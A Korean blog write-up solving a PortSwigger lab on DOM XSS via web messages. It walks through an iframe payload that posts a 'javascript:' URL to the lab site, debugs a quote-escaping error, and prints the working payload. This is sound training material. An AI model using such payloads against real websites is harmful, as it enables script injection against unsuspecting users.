본문 바로가기
Portswigger/DOM-based vulnerabilities

Portswigger - DOM XSS using web messages and a JavaScript URL solution

by jh117jh 2024. 1. 17.
728x90

 

이번 문제는 웹 메시지와 자바스크립트 url을 이용한 DOM XSS문제다.

 

 

사이트 script를 보면 메시지로 받은 내용을 url변수에 저장 후 url에서 http:나 https:가 존재한다면 url주소로 리다이렉트 시켜준다.

 

print() 함수를 출력해야 하므로 javascript를 url에서 실행시켜야 된다.

 

https://jh-hack.tistory.com/85

 

Portswigger - DOM XSS in jQuery anchor href attribute sink using location.search source solution

문제를 해석하면 anchor 요소를 찾아서 href를 바꿔라 그래서 back링크가 document.cookie를 alert함수로 호출하면 문제가 풀리는 것 같다. 우선 anchor가 무엇이냐 하면 우리가 흔히 웹에 링크를 달때 사용

jh-hack.tistory.com

https://jh-hack.tistory.com/88

 

Portswigger - Stored XSS into anchor href attribute with double quotes HTML-encoded solution

이번 문제는 Stored XSS를 a태그 안에 href속성에 적용하면 된다. 댓글 기능에 취약점이 존재하고 작성자 이름을 누르면 alert함수가 호출되게 해야 된다. 댓글 기능에는 코멘트와 이름, 이메일, 웹사

jh-hack.tistory.com

 

이러한 유형을 두 번 정도 풀어봐서 바로 javascript:를 이용해야 된다는 걸 느꼈다.

 

그럼 저번 문제에서 푼 코드를 응용해 보면 

<iframe  src="https://0a7a005d035f20b880183fc900d7006f.web-security-academy.net" height=100% width=100% 
onload="this.contentWindow.postMessage('javascript:alert('http:');print()',
'https://0a7a005d035f20b880183fc900d7006f.web-security-academy.net')">

 

메시지에 http:나 https:가 포함되어 있어야 리다이렉트가 되므로 alert함수를 이용해 http:를 출력해 주고 print함수를 호출했다.

이렇게 작성하였는데 이 상태로 제출해 보면 

 

 

SyntaxError가 발생하며 )를 닫지 않았다고 나온다.

 

나는 제대로 닫았는디...?

 

찾아보니 따옴표를 제대로 닫지 않아서 발생한다 하는데....

 

제대로 닫았는디...?

 

사실 이 문제는 http:를 감싸고 있는 '를 문자로 인식하지 않고 특수문자로 인식해서 발생하는 문제였다....

사실 기본적인 건데 생각지도 못해서 진짜 이거 때문에 몇 시간을 헤맨 건지....ㅋㅋㅋ

(사실 이거 말고 실수로 오타내서 몇 시간 더 헤매었다...)

 

그러므로 '앞에 \를 추가해서 문자로 인식하게 만들면 된다.

 

<iframe  src="https://0a7a005d035f20b880183fc900d7006f.web-security-academy.net" height=100% width=100% 
onload="this.contentWindow.postMessage('javascript:alert(\'http:\');print()', 
'https://0a7a005d035f20b880183fc900d7006f.web-security-academy.net')">

 

이렇게 작성하면 

 

 

 

alert함수와 print함수가 차례대로 출력되면서 문제가 풀린다 ㅎㅎ

 

728x90